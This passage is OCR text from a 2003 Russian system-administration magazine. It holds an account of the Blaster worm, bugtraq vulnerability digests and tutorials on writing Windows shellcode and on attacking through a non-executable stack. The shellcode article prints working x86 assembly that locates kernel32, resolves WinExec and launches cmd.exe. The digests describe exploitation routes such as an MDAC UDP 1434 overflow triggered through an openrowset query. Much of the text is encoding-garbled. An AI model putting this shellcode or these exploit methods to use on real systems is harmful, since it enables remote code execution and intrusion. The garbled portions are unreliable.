Реакция Microsoft оказалась на редкость незамедли-тельной. Буквально в этот же день на официальном сай-те компании было опубликовано подтверждение суще-ствования уязвимости. Но несмотря на «джентльменский»поступок LSD, 25 июля группа китайских хакеров Xfocusопубликовала полный код эксплоита против англоязыч-ных версий Windows 2000 и XP.

Так в чём же суть проблемы?Уязвимость заключается в посылке специальных дан-ных удалённой машине через порт 135 (TCP/IP). Соеди-нение между клиентом и сервером обеспечивает служ-ба RPC (Remote Procedure Call), которую использует ар-хитектура DCOM.

Проблема истекает из ошибки в реализации API-фун-кции:

Переполнение буфера происходит в шестом парамет-ре (szName), благодаря которому возможно выполнениелюбого кода на удалённой машине.

После публикации эксплоита от Xfocus и подробногообъяснения на сайтах, посвященных компьютерной безо-пасности, каждый день стали появляться новые реализа-ции от разных хак-групп. В основном отличие от ориги-нального заключалось в том, что количество поражаемыхверсий Windows увеличивалось с каждым разом, снача-ла 7 целей, затем 18, 48 и наконец 8 июля группа oc192Security предоставила универсальный исходный код, по-ражающий все версии Windows 2000 и Windows XP. Пос-ле этого события волна взломов в Интернете подскочилав сотни раз. Каждый скачавший этот код мог спокойнополучить административный доступ к любой Windows-си-стеме в сети. Многие кинулись скачивать патчи с офици-ального сайта Microsoft, но буквально через 3 недели сайтоказался недоступным. В ночь c 1 на 2 августа хакерыатаковали сайт Microsoft, до того считавшийся одним изнаиболее защищенных ресурсов Интернета. Работа сай-та была парализована на час и сорок минут. Экспертысвязывают нападение с готовящейся массовой атакой наИнтернет, которую хакеры хотят осуществить через брешьв ОС Windows. Атака затронула как главную страницусайта http://www.microsoft.com, так и многие другие адре-са, включая страницу службы технической поддержкиhttp://www.support.microsoft.com и портал для разработчи-ков http://www.msdn.microsoft.com.

Microsoft уже признала факт хакерской атаки, но приэтом оградила себя от возможных домыслов по поводуиспользования взломщиками какой-либо уязвимости всофте, обеспечивающем работу сайта. По словам офи-циального представителя Microsoft Шона Сандволла, спе-циалистами компании установлено, что хакеры соверши-ли «обычную атаку на сервер, однако не воспользовалисьникакими «дырами» в программном обеспечении». О де-талях нападения Сандволл распространяться не стал.

Но 12 августа после полудня произошло то, чего такопасались LSD и все мировые организации по сетевойбезопасности. В сети появился червь, использующийуязвимость DCOM. За считанные минуты он заполонилевропейскую часть Интернета. Полный анализ червяпредоставили большинство производителей антивирус-ных продуктов, но первый временный патч выпустилаSymantec. FixBlast сканирует ваш компьютер на пред-мет заражения Win32.Blaster, удаляет файл червя и егоследы в системе. Самый полный отчёт предоставила,на мой взгляд, Лаборатория Касперского, т.к. толькоони объяснили принцип генерации IP-адресов и скани-рования портов жертв.

Как делают BlasterПервое, что обнаружили программисты антивирусных ла-бораторий, – это текстовые (ASCII) строки внутри файласледующего содержания:

HRESULT CoGetInstanceFromFile( COSERVERINFO * pServerInfo, CLSID * pclsid, IUnknown * punkOuter, DWORD dwClsCtx, DWORD grfMode,

OLECHAR * szName, ULONG cmq, MULTI_QI * rgmqResults);

Page 66: 010 Системный Администратор 09 2003

64

безопасность

Что в переводе звучит так:

После полного анализа червя выяснилось следующее:� Червь проникает в компьютер, используя удалённое

выполнение команд посредством переполнения буфе-ра.

� Выполняется GET-запрос на закачку тела вируса че-рез команду tftp.

� Помещение файла msblast.exe в %WinDir%\system32и его запуск.

� Регистрация червя в ключе автозапуска:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

� Ключ: windows auto update=«msblast.exe»� Червь открывает порт 69 (tFTP-server) для последую-

щего размножения.

Далее идёт процесс сканирования и генерации IP-ад-ресов новых жертв. Это происходит следующим образом:червь сканирует IP-адреса текущей подсети и пытаетсясоединиться с 20 IP-адресами для инфицирования уязви-мых компьютеров, после этого червь делает паузу в тече-ние 1,8 секунды, а затем снова сканирует следующие 20IP-адресов и повторяет этот процесс в бесконечном цик-ле до перезагрузки компьютера. Например, мы имеемподсеть 192.168.1.0/24, IP-адрес заражённого компьюте-ра 192.168.1.134, червь сканирует так:

Более того, червь имеет 2 метода сканирования IP-адресов: в 60% случаях червь выбирает случайный адресподсети (A.B.C.D), где D равен 0, а A, B, C случайно выб-раны из диапазона 1-255. Таким образом, сгенерирован-ная подсеть находится в диапазоне [1-255].[1-255].[1-255].0. В 40% червь сканирует свою подсеть. Он опреде-ляет адрес локального компьютера (A.B.C.D), устанавли-вает D в ноль и выбирает значение C. Если C больше,чем 20, то червь выбирает случайное число от 1 до 20.Если C меньше или равно 20, червь не изменяет его.� Запуск командной оболочки «cmd.exe» на TCP-порту

4444.

Как заявляет Лаборатория Касперского, если бы небыло 1.8-секундной задержки, то многие узлы Интернетане выдержали бы такой нагрузки и отказали.

Вполне возможно, что это было учтено автором червядля более успешной атаки на сайт обновлений Microsoft.

Побочным эффектом червя является как раз то, из-за чего компании всего мира терпят убытки. При полу-чении доступа используется не универсальный метод,

поэтому в большинстве версий Windows отказывает кри-тическая системная служба Remote Procedure Call, и ком-пьютер автоматически перезагружается в течение ми-нуты. В этот момент пользователь наблюдает окно сошибкой «RPC service failing» и отсчёт времени до пере-загрузки.

Но это ещё не всё. 16 августа 2003 года червь запус-кает DDoS-атаку на сервер http://www.windowsupdate.com,пытаясь таким образом затруднить или прервать егоработу.

Трудно представить ее последствия, так как в связи сперегрузкой многих узлов возможны были региональныеотключения сети Интернет, как это было в случае с SQLSlammer.

Однако, как всегда, вмешался Его Величество Случай –кризис энергетической системы США сорвал запланиро-ванную атаку или отложил на некоторое время.

А как же лекарство?1. Официальный патч от Microsoft(c):

h t t p : / / w w w . m i c r o s o f t . c o m / t e c h n e t / t r e e v i e w /default.asp?url=/technet/security/bulletin/MS03-026.asp

2. Временный патч FixBlast от Symantec(c):http://securityresponse.symantec.com/avcenter/venc/data/w32.blaster.worm.removal.tool.html

Если у вас какие-то проблемы со скачиванием файла,то вы можете просто отключить службу DCOM. Пуск →Выполнить → dcomcnfg.exe → Службы компонентов →Компьютеры → Мой компьютер → Свойства по умолча-нию – убрать галку «Разрешить использование DCOM наэтом компьютере».

Также заблокируйте порт 135 TCP и 69 UDP на вашихмежсетевых экранах.

Используемые сокращения:1. DCOM – архитектура, предназначенная для взаимо-

действия компонентов COM.2. UDP – User Datagram Protocol (протокол пользователь-

ских дэйтаграмм).3. SP – Service Pack (набор исправлений)..4. RPC – Remote Procedure Call (удалённый вызов про-

цедур).4. DDoS – Distributed Denial of Service Attack (распреде-

лённая атака на отказ в обслуживании).5. Proof of concept code – исходный код, доказывающий

существование уязвимости.

При написании статьи использовались материалы сле-дующих источников:

http://www.securityfocus.comhttp://www.lsd-pl.nethttp://www.xfocus.comhttp://www.securitylab.ruhttp://www.void.ruhttp://www.symantec.ruhttp://www.packetstormsecurity.nlhttp://www.viruslist.com http://www.compulenta.ruhttp://www.salon.com

I just want to say LOVE YOU SAN!!billy gates why do you make this possible ? Stop making

money and fix your software!!

ß õî÷ó ñêàçàòü, ËÞÁËÞ ÒÅÁß, SAN!!Áèëëè Ãåéòñ, ïî÷åìó òû äîïóñêàåøü òàêîå? Ïðåêðàùàé äåëàòü

äåíüãè è èñïðàâü ñâî¸ ïðîãðàììíîå îáåñïå÷åíèå!!

192.168.1.0-19ïàóçà 1.8 ñåê192.168.1.20-39ïàóçà è ò.ä.

Page 67: 010 Системный Администратор 09 2003

65№9(10), сентябрь 2003

bugtraq

Удаленное переполнение буферачерез MDAC в MS SQL-сервере(подробности эксплуатации)Unicode переполнение буфера обнаружено в MDAC, ко-торая используется Server QL-DMO библиотекой. Удален-ный атакующий может выполнить произвольный код нацелевой системе. Уязвимость можно эксплуатироватьчерез широковещательные запросы.

Одна из особенностей сетевой библиотеки SQL-сер-вера – возможность запрашивать список SQL-серверов влокальной сети. Для этого посылается широковещатель-ное UDP-сообщение к 1434 порту, которое достигнет всехприложений в локальной сети. Эта функция – компонентSQL-DMO, который используется SQL Server ServiceManager (всякий раз при запуске), Enterprise Manager (прирегистрации сервера), Query Analyzer и SQL (при кликена «...» клавишу), DTS (при выборе SQL-сервера) и т. п.

Все SQL-серверы, получающие широковещательныйзапрос, отвечают стандартным UDP-пакетам. Если зло-намеренная машина отвечает на этот широковещатель-ный запрос слишком длинным пакетом, произойдет пе-реполнение буфера. Переполнение происходит вUNICODE-строке, так что для эксплуатации этого пере-полнения буфера должен использоваться Venetian-метод.

Любые утилиты SQL-сервера, которые используютSQL-DMO-функцию для поиска SQL-серверов, уязвимы кэтому нападению. Нападающий может использовать не-сколько методов для эксплуатации этой уязвимости:� Установить службу, слушающую на 1434 UDP-порту,

которая будет посылать эксплоит при получении дан-ных. В этом случае злонамеренный сервис долженнаходиться в той же самой подсети.

� Засыпать удаленную подсеть UDP-пакетами, надеясь,что кто-то сделает уязвимый запрос. Например, посы-лайте злонамеренные пакеты каждые 2 сек к192.168.3.255, которые достигнут всех машин на192.168.3.x подсети. Когда кто-то наконец пошлет ши-роковещательный UDP-пакет, то они примут злонаме-ренный пакет и подвергнутся действию эксплоита.

� Также возможно через низко привилегированную учет-ную запись в MS SQL-сервере послать запрос напря-мую к IP-адресу на сети. Следующая SQL-инструкциязаставит SQL-сервер запросить хост с именем SERVERс UDP-пакетом:

Могут быть и другие методы заставить SQL-серверпосылать UDP-запрос и вызвать переполнение.

Уязвимость обнаружена в Microsoft Data AccessComponents 2.5sp1 – 2.7 SP1.

Составил Александр Антипов

Удаленный DoS против Avant BrowserУязвимость обнаружена в Avant Browser. Удаленныйпользователь может сконструировать HTML, который ава-рийно завершит работу браузера.

Удаленный пользователь может сконструировать URL,который, когда будет загружен в браузере целевогопользователя, аварийно завершит работу браузера. При-мер:

Уязвимость обнаружена в Avant Browser 8.02.

http://AAAAAAA[more 780 chars]

Отказ в обслуживании черезнекорректные POST-запросыв Lotus Domino Web ServerОтказ в обслуживании обнаружен в Lotus Domino WebServer (nhttp.exe). Удаленный пользователь может аварий-но завершить работу веб-сервера.

Удаленный пользователь может послать незавершен-ный POST-запрос используя s_Validation-форму, чтобы эк-сплуатировать эту уязвимость. Удаленный пользовательможет также послать POST-запрос, используя h_PageUI-форму с несуществующим параметром, чтобы эксплуа-тировать уязвимость. Примеры см. в источнике сообще-ния.

Уязвимость обнаружена в Lotus Domino Web Server 5.x,6.0.

Для устранения уязвимости установите соответству-ющее обновление, которое можно скачать отсюда: http://www-1.ibm.com/support/docview.wss?uid=swg21104528

Выполнение произвольного сценарияв определенном домене в RealOne PlayerУязвимость обнаружена в RealOne Player. Удаленныйпользователь может сконструировать медийный файл,который выполнит произвольный код сценария в опреде-ленном домене.

Удаленный пользователь может сконструировать спе-циально обработанный SMIL-файл, который, когда будетзагружен целевым пользователем, выполнит произволь-ный Javascript или VBScript-код в домене произвольногоURL.

Уязвимость обнаружена в RealOne Player (English only),RealOne Player v2 for Windows (all language versions), andRealOne Enterprise Desktop (all versions, standalone and asconfigured by the RealOne Desktop Manager).

Для устранения уязвимости используйте «Check forUpdate» в меню «Tools».

SELECT * FROM openrowset( 'SQLOLEDB', ↵'server=SERVER\instancename;uid=sa;pwd=', '')

Page 68: 010 Системный Администратор 09 2003

66

безопасность

Построениепереносимого Shell-кодадля Windows-систем

Построениепереносимого Shell-кодадля Windows-систем

СТАНИСЛАВ ГОШКО

Всё чаще и чаще обсуждаются аспекты атакна Windows-системы. Основные возможностиатак на семейство данных систем былиуже рассмотрены, но не стоит забывать о том,что при построении атаки на переполнениебуфера в большинстве случаев атакующийсталкивается с построением shell-кода.

Page 69: 010 Системный Администратор 09 2003

67№9(10), сентябрь 2003

безопасность

Shell-код – это двоичный код, который выполняется в кон-тексте другой программы. Когда уязвимость уже обнару-жена и начинается написание эксплоита, необходимо длясебя решить, будет ли эксплоит зависеть только от вер-сии уязвимой программы или ещё он будет зависеть отверсии операционной системы. Если атакующий хочет,чтобы его эксплоит работал на большинстве систем, тоему необходимо построить shell-код, который бы не опи-рался на «жёсткие» адреса WIN API-функций.

Для построения такого рода кода необходимо, чтобыshell-код удовлетворял следующим требованиям:� Поиск адреса ядра (kernel32.dll).� Поиск адреса WIN API-функции GetProcAddress.� Поиск адресов других WIN API-функций при помощи

функции GetProcAddress.� Запуск необходимых нам WIN API-функций по найден-

ным адресам.

Каким образом возможно выполнить первое требова-ние? При запуске любой программы в операционных сис-темах семейства Windows она вызывается из ядра. По-этому первый и относительно сложный способ поискаадреса ядра основан на поиске в стеке. Но если мы вос-пользуемся этим способом, то наш shell-код станет оченьбольшим, поэтому мы пойдём другим путём.

Второй способ обнаружения адреса ядра – при помощиSEH. Что же такое SEH? Это структурированный обработ-чик исключений. К примеру, если мы пытаемся писать вядро, то будет вызываться исключение и обрабатыватьсяоно будет при помощи SEH. Адрес обработчика исключе-ний всегда лежит внутри ядра, так что для поиска адресаядра нам всего лишь необходимо найти последний обра-ботчик. По адресу fs:[0] лежит номер текущего обработчи-ка исключений. Ищем, пока не найдём 0xFFFFFFFF (но-мер системного обработчика). Этот адрес, в отличие от ад-реса функции ExitThread в NT, всегда лежит в kernel32.dll.

Рассмотрим пример поиска адреса kernel:

В результате работы данного куска кода у нас в реги-

стре edx будет находиться адрес ядра. Данный код специ-ально модифицирован таким образом, чтобы в нём небыло нулевых байт.

Теперь перейдём к поиску адреса функции GetProc-Address. Поиск данной функции используется в большин-стве современных вирусов, ориентированных на Windows-системы.

По определённому смещению в PE-заголовке мы мо-жем найти адрес таблицы экспортов. В таблице экспортовузнаем количество указателей на функции, расположениетаблицы указателей имен и адрес таблицы ординалов.Перебираем указатели (и ординалы), проверяя при этомимена функций, на которые они указывают при совпаде-нии с GetProcAddress. При совпадении возьмем ординал ипо таблице адресов мы получим адрес функции.

Рассмотрим пример поиска адреса функции GetProc-Address:

mov eax, fs:[ebx] ; Óêàçàòåëü íà ñïèñîê; îáðàáîò÷èêîâ

inc eax ; Óâåëè÷èâàåì eax íà 1next_seh:

xchg eax, ebx ; Îáìåíèâàåì ñîäåðæèìîå eax; c ebx

mov eax, [ebx-1] ; Íîìåð òåêóùåãî îáðàáîò÷èêàinc eax ; Óâåëè÷èâàåì eax íà 1jnz next_seh ; ßâëÿåòñÿ ëè îí

; ñèñòåìíûì (-1)?mov edx, [ebx-1+4] ; Àäðåñ îáðàáîò÷èêàxchg ax, dx ; Ýêâèâàëåíòíî

; xor dx,dx (eax=0)xor eax,eax ; Îáíóëÿåì eax

mov ax,1001h ; Ïîìåùàåì â eaxdec ax ; 1000

next_block:cmp word ptr [edx],'ZM' ; Íà÷àëî?je found_MZ ; ÄÀ!sub edx,eax ; Èùåì äàëüøåjmp next_block

found_MZ:mov ebx,edx ; Ñîõðàíèì óêàçàòåëümov edi,dword ptr [edx+3Ch] ; Àäðåñ

; PE-çàãîëîâêàadd edi,edx ; +Àäðåñ kernelcmp word ptr [edi],'EP' ; Ïðîâåðêà íà PEjne Exit ; Íå ðàâíî – âûõîäèì

mov ebx,edx ; Ñîõðàíèì óêàçàòåëümov edi,dword ptr [edx+3Ch] ; Àäðåñ

; PE-çàãîëîâêàadd edi,edx ; +Àäðåñ kernelcmp word ptr [edi],'EP' ; Ïðîâåðêà íà PEjne Exit ; Íå ðàâíî – âûõîäèìpush edx ; Ñîõðàíèì àäðåñ kernel

add ebx,[edi+78h] ; Ïîëó÷èì àäðåñ; òàáëèöû ýêñïîðòîâ

mov ecx,[ebx+18h] ; Êîëè÷åñòâî óêàçàòåëåémov esi,[ebx+20h] ; Óêàçàòåëü íà òàáëèöó

; óêàçàòåëåé èìåímov edi,[ebx+24h] ; Óêàçàòåëü íà òàáëèöó

; îðäèíàëîâadd esi,edx ; Àäðåñ òàáëèöû èìåí

; â ïàìÿòèadd edi,edx ; Àäðåñ òàáëèöû îðäèíàëîâ

; â ïàìÿòècld ; Ïîèñê âïåðåäadd ebp,8 ; ebp óêàçûâàåò

; íà ñëåäóþùóþ ñòðîêóSearch: ; Èùåì ôóíêöèþ GetProcAddress

lodsd ; Áåðåì óêàçàòåëü èç òàáëèöû óêàçàòåëåéadd eax,edx ; Ïîëó÷àåì àäðåñ ïàìÿòèxchg esi,eax ;  esi óêàçàòåëü íà èìÿ

; íàéäåííîé ôóíêöèè

xchg edi,ebp ;; Óêàçûâàåì íà èìÿ íóæíîé; íàì ôóíêöèè

push ecx ; Êëàä¸ì ecx â ñòåêxor ecx,ecx ; Îáíóëÿåì ecxadd cl,15 ; Ðàçìåð ñòðîêèrepe cmpsb ; Ñðàâíèâàåìjc restore1

rest2:xchg esi,eax ; Âîññòàíîâèì çíà÷åíèå esi

pop ecx ; Âîññòàíîâèì êîëè÷åñòâî; óêàçàòåëåé

xchg edi,ebp ; Âîññòàíîâèì óêàçàòåëü; íà îðäèíàëû

je Found ; Íàøëè!inc edi ; Íåò – ïðîáóåì ñëåäóþùóþ

; ôóíêöèþinc edi ; Óêàçàòåëü íà ñëåäóþùèé

; îðäèíàëloop Searchjmp Exit

restore1:xor esi,esi ;mov si,61125 ; Ïîìåùàåì â esi ÷èñëî 15sub si,61110 ;

sub esi,ecx ; Âîññòàíàâëèâàåì óêàçàòåëü; (edi) íà íà÷àëî ñòðîêè

sub edi,esi ;jmp rest2 ;

Found:

Page 70: 010 Системный Администратор 09 2003

68

безопасность

В начале этого кода в edx хранится адрес kernel, а вконце в eax хранится адрес функции GetProcAddress.

Третье и четвёртое требования выполняются достаточ-но легко. Для этого необходимо знание о том, с какими па-раметрами запускаются необходимые нам WIN API-функции.

Теперь построим переносимый shell-код для локаль-ной атаки на Win32-системы:

xor eax,eax ; Îáíóëÿåì eaxmov ax,word ptr [edi]

;; Âîçüìåì îðäèíàë

shl eax,2 ; Óìíîæèì íà ðàçìåð îðäèíàëàmov esi,[ebx+1Ch] ; Óêàçàòåëü íà òàáëèöó

; àäðåñîâadd esi,edx ; Ïîëó÷èì àäðåñ íà÷àëà

; òàáëèöû àäðåñîâadd esi,eax ; È àäðåñ íóæíîé ôóíêöèèlodsd ; Ïðî÷èòàåìadd eax,edx ; Äîáàâèì àäðåñ kernel

Вот мы и построили переносимый shell-код для 32-бит-ных систем семейства Windows.

.386

.model flat, stdcallextrn ExitProcess:proc.datastart:;---------------[SUPA SHELLCODE]--------------------------Getproc:

mov esi,esp ; esi óêàçûâàåò íà âåðøèíó; ñòåêà

xor ecx,ecx ; îáíóëÿåì ecxmov cl,169 ; ecx óêàçûâàåò íà òåêñòîâóþ

; ñòðîêó 'WinExec'add esi,ecx ; È esi òåïåðü óêàçûâåò

; íà 'WinExec'push esi ; Êëàä¸ì esi â ñòåêmov ebp,esi ; È ebp òåïåðü óêàçûâàåò

; íà 'WinExec'mov edi,esi ; È edi òåïåðü óêàçûâàåò

; íà 'WinExec'xor ecx,ecx ; Îáíóëÿåì ecxmov cl,27 ; È êëàä¸ì â cl 27

xor1: lodsb ; Çàãðóæàåì â al áàéòcmp al,01 ; Ïðîâåðÿåì 1 ýòî èëè íåòjne nextb ; Åñëè íåò – èùåì äàëüøåxor al,01 ; Åñëè 1, òî îáíóëÿåì åãî è

nextb:stosb ; Âîçâðàùàåì íà ìåñòîloop xor1 ; Òàêèì îáðàçîì, ìû

; âîññòàíàâëèâàåì âñå; íóæíûå íàì íóëè

xor ebx,ebx ; Îáíóëÿåì ebx

mov eax, fs:[ebx] ; Óêàçàòåëü íà ñïèñîê; îáðàáîò÷èêîâ

inc eax ; Óâåëè÷èâàåì eax íà 1next_seh:

xchg eax, ebx ; Îáìåíèâàåì ñîäåðæèìîå; eax c ebx

mov eax, [ebx-1] ; Íîìåð òåêóùåãî îáðàáîò÷èêàinc eax ; Óâåëè÷èâàåì eax íà 1jnz next_seh ; ßâëÿåòñÿ ëè îí

; ñèñòåìíûì (-1)?mov edx, [ebx-1+4] ; Àäðåñ îáðàáîò÷èêàxchg ax, dx ; Ýêâèâàëåíòíî

; xor dx,dx (eax=0)

xor eax,eax ; Îáíóëÿåì eaxmov ax,1001h ; Ïîìåùàåì â eaxdec ax ; 1000

next_block:cmp word ptr [edx],'ZM' ; Íà÷àëî?je found_MZ ; ÄÀ!sub edx,eax ; Èùåì äàëüøåjmp next_block

found_MZ:mov ebx,edx ; Ñîõðàíèì óêàçàòåëümov edi,dword ptr [edx+3Ch] ; Àäðåñ

; PE-çàãîëîâêàadd edi,edx ; +Àäðåñ kernelcmp word ptr [edi],'EP' ; Ïðîâåðêà íà PEjne Exit ; Íå ðàâíî – âûõîäèìpush edx ; Ñîõðàíèì àäðåñ

; kernel

add ebx,[edi+78h] ; Ïîëó÷èì àäðåñ òàáëèöû; ýêñïîðòîâ

mov ecx,[ebx+18h] ; Êîëè÷åñòâî óêàçàòåëåémov esi,[ebx+20h] ; Óêàçàòåëü íà òàáëèöó

; óêàçàòåëåé èìåímov edi,[ebx+24h] ; Óêàçàòåëü íà òàáëèöó

; îðäèíàëîâadd esi,edx ; Àäðåñ òàáëèöû èìåí

; â ïàìÿòèadd edi,edx ; Àäðåñ òàáëèöû îðäèíàëîâ

; â ïàìÿòècld ; Ïîèñê âïåðåäadd ebp,8 ; ebp óêàçûâàåò íà

; ñëåäóþùóþ ñòðîêóSearch: ; Èùåì ôóíêöèþ GetProcAddress

lodsd ; Áåðåì óêàçàòåëü èç; òàáëèöû óêàçàòåëåé

add eax,edx ; Ïîëó÷àåì àäðåñ ïàìÿòèxchg esi,eax ;  esi óêàçàòåëü íà èìÿ

; íàéäåííîé ôóíêöèèxchg edi,ebp ;

; Óêàçûâàåì íà èìÿ íóæíîé; íàì ôóíöèè

push ecx ; Êëàä¸ì ecx â ñòåêxor ecx,ecx ; Îáíóëÿåì ecxadd cl,15 ; Ðàçìåð ñòðîêèrepe cmpsb ; Ñðàâíèâàåìjc restore1

rest2:xchg esi,eax ; Âîññòàíîâèì çíà÷åíèå esi

pop ecx ; Âîññòàíîâèì êîëè÷åñòâî; óêàçàòåëåé

xchg edi,ebp ; Âîññòàíîâèì óêàçàòåëü; íà îðäèíàëû

je Found ; Íàøëè!inc edi ; Íåò – ïðîáóåì ñëåäóþùóþ

; ôóíêöèþinc edi ; Óêàçàòåëü íà ñëåäóþùèé

; îðäèíàëloop Searchjmp Exit

restore1:xor esi,esi ;mov si,61125 ; Ïîìåùàåì â esi ÷èñëî 15sub si,61110 ;

sub esi,ecx ; Âîññòàíàâëèâàåì óêàçàòåëü; (edi) íà íà÷àëî ñòðîêè

sub edi,esi ;jmp rest2 ;

Found:xor eax,eax ; Îáíóëÿåì eaxmov ax,word ptr [edi]

;; Âîçüìåì îðäèíàë

shl eax,2 ; Óìíîæèì íà ðàçìåð; îðäèíàëà

mov esi,[ebx+1Ch] ; Óêàçàòåëü íà òàáëèöó; àäðåñîâ

add esi,edx ; Ïîëó÷èì àäðåñ íà÷àëà; òàáëèöû àäðåñîâ

add esi,eax ; È àäðåñ íóæíîé ôóíêöèèlodsd ; Ïðî÷èòàåìadd eax,edx ; Äîáàâèì àäðåñ kernelcall eax ; Ïîëó÷àåì àäðåñ ôóíêöèè

; WinExec

push 1 ; Çàïîëíÿåì ñòåêpush ebp ;

call eax ; Çàïóñêàåì "cmd.exe"Exit:;---------------------------------------------------------

db 'WinExec',01db 'GetProcAddress',01db 'cmd',01

konec:.code;---------------------------------------------------------

nop;---------------------------------------------------------end startend

Page 71: 010 Системный Администратор 09 2003

69№9(10), сентябрь 2003

bugtraq

Раскрытие конфигурацииMicrosoft URLScanпри совместном использованиис RSA’s SecurIDУязвимость раскрытия информации обнаружена в RSA’sSecurID, когда используется Microsoft URLScan. Удален-ный пользователь может определить подробностиURLScan конфигурации на веб-сервере.

Если используется SecurID с URLScan, то в некоторыхслучаях отклоненная информация будет возвращена уда-ленному пользователю. Удаленный пользователь можетвыполнить различные HTTP-запросы и, контролируя от-веты, определить конфигурацию URLScan.

Когда удаленный пользователь запрашивает URL, ко-торый будет отвергнут URLScan, веб-сервер возвратитследующую информацию, например:

Уязвимость обнаружена в RSA SecurID ACE/Agent 5.0.Для устранения уязвимости в качестве приоритетного

ISAPI-фильтра установите SecurID-фильтр.

Переполнение буфера в тэге Objectв Microsoft Internet Explore(подробности)Переполнение буфера обнаружено в Microsoft InternetExplorer. Удаленный атакующий может выполнить произ-вольный код на системе.

Переполнение буфера обнаружено в Microsoft InternetExplorer при обработке HTML-файлов с чрезмерно длин-ной строкой, содержащей «double-byte»-символы в свой-стве Type тэга Object. Удаленный атакующий может скон-струировать специально обработанную веб-страницу илиHTML-почтовое сообщение, чтобы выполнить произволь-ный код на системе с привилегиями пользователя безкакого-либо взаимодействия с пользователем.

Уязвимость обнаружена в Internet Explorer 6 ServicePack 1.

Обход ограничений безопасностив Internet Explorer(подробности)

Уязвимость обнаружена в Internet Explorer 6 ServicePack 1 Japanese Edition. При определенных условиях уда-ленный атакующий может автоматически загрузить и об-работать определенный тэг, включенный с HTML-файломв My Computer zone без уведомления пользователя.

Если некоторый MIME-тип определен в Content-Type-заголовке в HTTP-ответе и некоторая строка определенав Content-Disposition-заголовке, эта строка будет автома-тически загружена и открыта внутри Temporary InternetFiles (TIF) в Microsoft Internet Explorer. В результате злона-меренный веб-сайт может автоматически выполнить зло-намеренный сценарий. Выполненный сценарий раскроетатакующему путь к TIF-каталогу.

Дополнительно, если уязвимость эксплуатируется че-рез злонамеренную строку в Content-Disposition-заголов-ке, тэг OBJECT будет обработан в «My Computer» зоне. Врезультате злонамеренный веб-сайт может выполнитьпроизвольные программы на компьютере с привилегия-ми пользователя.

Уязвимость обнаружена в Internet Explorer 6 ServicePack 1 Japanese Edition.

Удаленное переполнение буферав XML-функции базы данных OracleНесколько переполнений буфера обнаружено в OracleDatabase в XML-функциях базы данных. Удаленныйпользователь может получить доступ к сессии пользова-теля базы данных.

Удаленный пользователь может вызвать несколько пе-реполнений буфера в XML Database (XDB) функцияхOracle9i Database Release 2 сервера. Удаленный пользо-ватель может вызвать отказ в обслуживании на сервереили перехватить активную сессию целевого пользовате-ля базы данных. Уязвимость можно эксплуатировать, еслина сервере работает FTP- или HTTP-сервер.

Уязвимость обнаружена в Oracle9i Database Release 2only.

Для устранения уязвимости сперва скачайте Oracle9iDatabase Release 2, version 9.2.0.3 patchset. Затем уста-новите соответствующую заплату, которую можно скачатьотсюда: http://metalink.oracle.com

Удаленное завершение работыв Sun ONE и iPlanet Web Serversна Windows-системахУязвимость обнаружена в Sun ONE и iPlanet Web Serversна Windows-системах. Удаленный пользователь можетаварийно завершить работу веб-сервера.

Дополнительные подробности не раскрываются. Ин-формацию о заплатах можно найти в источнике сообще-ния.

Уязвимость обнаружена в Sun ONE Web Server 6.0 SP3-SP5.

<INPUT TYPE=HIDDEN NAME="referrer" ↵VALUE="Z2FZ3CRejected-By-UrlScanZ3EZ3FZ7EZ2Firm.ida">

Поднятие локальных привилегийчерез DameWare Mini Remote ControlУязвимость обнаружена в DameWare Mini Remote Control(часть DameWare NT Utilities). Локальный пользовательможет получить System-привилегии на целевом сервере,используя эксплоит типа Shatter.

Локальный пользователь может послать специальносформированное Windows Message к высокопривилегиро-ванному процессу DWRCS.exe, чтобы заставить DameWareвыполнить произвольный код с System-привилегиями.

Уязвимость обнаружена в DameWare до версии3.71.0.0.

Составил Александр Антипов

Page 72: 010 Системный Администратор 09 2003

70

безопасность

АТАКА НА ПЕРЕПОЛНЕНИЕБУФЕРА ЧЕРЕЗНЕИСПОЛНИМЫЙ СТЕКВ WINDOWS NT/2000/XP

СТАНИСЛАВ ГОШКО

Атаки на переполнение буфера за последние 10 лет получили громадное распространение.Практически во всех современных операционных системах предусматривается защита отданных атак (Black Cat, Sun...). Поэтому не за горами то время, когда данная защита появитсяи у Windows-систем. В данной статье будет рассматриваться атака на переполнение буферачерез неисполнимый стек.

Page 73: 010 Системный Администратор 09 2003

71№9(10), сентябрь 2003

безопасность

Рассмотрим, чем отличается обычное переполнение бу-фера от переполнения буфера через неисполнимый стек.

Большинство атак на переполнение буфера строятсяпо следующей схеме:� Подготавливается мусор и вычисляются номера бай-

тов, которые перетирают адрес возврата.� Подготавливается исполнимый код в качестве буфера.� Вычисляется адрес возврата при помощи отладчика,

так, чтобы он указывал на исполнимый код в стеке.� Затем подготовленный буфер, содержащий мусорные

байты, новый адрес возврата и исполнимый код пере-даются уязвимой программе.

Рассмотрим на схеме, как выглядит стек уязвимой про-граммы в момент проведения обычной атаки на срыв стека:

Как вы могли заметить, исполнение shell-кода проис-ходит прямо в стеке. Большинство защит ориентированона то, чтобы воспрепятствовать выполнению кода в сте-ке, и данная защита очень хорошо работает против боль-шинства эксплоитов.

Теперь для понимания функционирования эксплоитов,использующих атаку через неисполнимый стек, рассмот-рим простую программу, которая вызывает через WinExecпрограмму – «cmd.exe».

На языке С++ она бы выглядела так:

В данной программе не видно вызова функцииExitProcess, так как компилятор C++ сам заботится о кор-ректном завершении программы.

Рассмотрим аналогичную программу на языке ассем-блера:

Теперь нам необходимо разобраться, как выглядит стеквнутри функции WinExec. Рассмотрим схему стека внут-ри WinExec (вызов данной функции отмечен восклица-тельными знаками).

Для построения нашей атаки нам наиболее важны зна-чения, отмеченные восклицательными знаками. Первыйже параметр можно упустить.

Перейдём к конструированию нашей атаки. Мы долж-ны так переполнить буфер, чтобы при возвращении изфункции мы попали прямиком в WIN API-функцию с за-полненным стеком. И самое главное, что стек должен бытьзаполнен корректно для вызова cmd.exe.

Разберём схему построения данной атаки:� Подготавливается имя программы («cmd»), мусор и вы-

числяются номера байтов, которые перетирают адресвозврата.

� Вычисляется адрес строки при помощи отладчика так,чтобы он указывал на строку «cmd» в стеке.

� Вычисляются адреса функций: WinExec, ExitProcess.� Затем подготовленный буфер, содержащий имя про-

граммы («cmd»), мусорные байты, новый адрес строкии адреса функций, передаётся уязвимой программе.

Рассмотрим схему стека при реализации данной атаки:

#include <windows.h>

void main (){ WinExec("cmd",1);}

.386

.model flat, stdcall

